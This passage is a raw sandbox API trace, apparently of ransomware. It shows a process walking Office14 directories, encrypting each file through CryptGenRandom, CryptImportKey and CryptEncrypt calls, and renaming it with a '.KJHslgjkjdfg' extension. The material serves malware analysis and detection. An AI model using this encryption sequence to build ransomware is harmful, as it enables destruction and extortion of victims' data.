ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0164.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0164.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.211] GetProcessHeap () returned 0x990000 [0164.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.211] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0164.211] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0164.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0164.213] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.213] GetProcessHeap () returned 0x990000 [0164.213] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.213] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0164.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0164.213] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0164.213] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0164.213] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0164.213] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0164.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0164.213] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0164.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0164.213] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.213] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a5b, lpOverlapped=0x0) returned 1 [0164.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a60) returned 1 [0164.214] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.214] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a60, lpOverlapped=0x0) returned 1 [0164.215] CryptDestroyKey (hKey=0x9b6628) returned 1 [0164.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.215] SetEndOfFile (hFile=0xf0) returned 1 [0164.217] GetProcessHeap () returned 0x990000 [0164.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.217] GetProcessHeap () returned 0x990000 [0164.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.kjhslgjkjdfg")) returned 1 [0164.219] CloseHandle (hObject=0xf0) returned 1 [0164.220] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0164.221] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0164.221] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0164.221] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0164.221] GetProcessHeap () returned 0x990000 [0164.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xb0) returned 0x9b2468 [0164.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0164.222] GetProcessHeap () returned 0x990000 [0164.222] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.222] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0164.223] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0164.223] GetProcessHeap () returned 0x990000 [0164.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2b2) returned 0x9b7b50 [0164.223] GetProcessHeap () returned 0x990000 [0164.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xca) returned 0x9b2468 [0164.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.226] GetProcessHeap () returned 0x990000 [0164.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.226] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.226] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0164.226] GetProcessHeap () returned 0x990000 [0164.226] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2cc) returned 0x9b7e10 [0164.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.226] GetProcessHeap () returned 0x990000 [0164.226] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.226] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.226] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.226] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xb, lpOverlapped=0x0) returned 1 [0164.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.228] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.228] GetProcessHeap () returned 0x990000 [0164.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.228] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.228] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.228] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.228] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.229] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.229] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.229] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.229] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.229] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x545, lpOverlapped=0x0) returned 1 [0164.229] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x550) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.229] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x550, lpOverlapped=0x0) returned 1 [0164.229] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.229] SetEndOfFile (hFile=0x114) returned 1 [0164.232] GetProcessHeap () returned 0x990000 [0164.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.232] GetProcessHeap () returned 0x990000 [0164.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.kjhslgjkjdfg")) returned 1 [0164.232] CloseHandle (hObject=0x114) returned 1 [0164.232] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0164.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.233] GetProcessHeap () returned 0x990000 [0164.233] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.233] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.234] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xd, lpOverlapped=0x0) returned 1 [0164.235] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.236] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.236] GetProcessHeap () returned 0x990000 [0164.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.236] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.236] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.236] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.236] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, 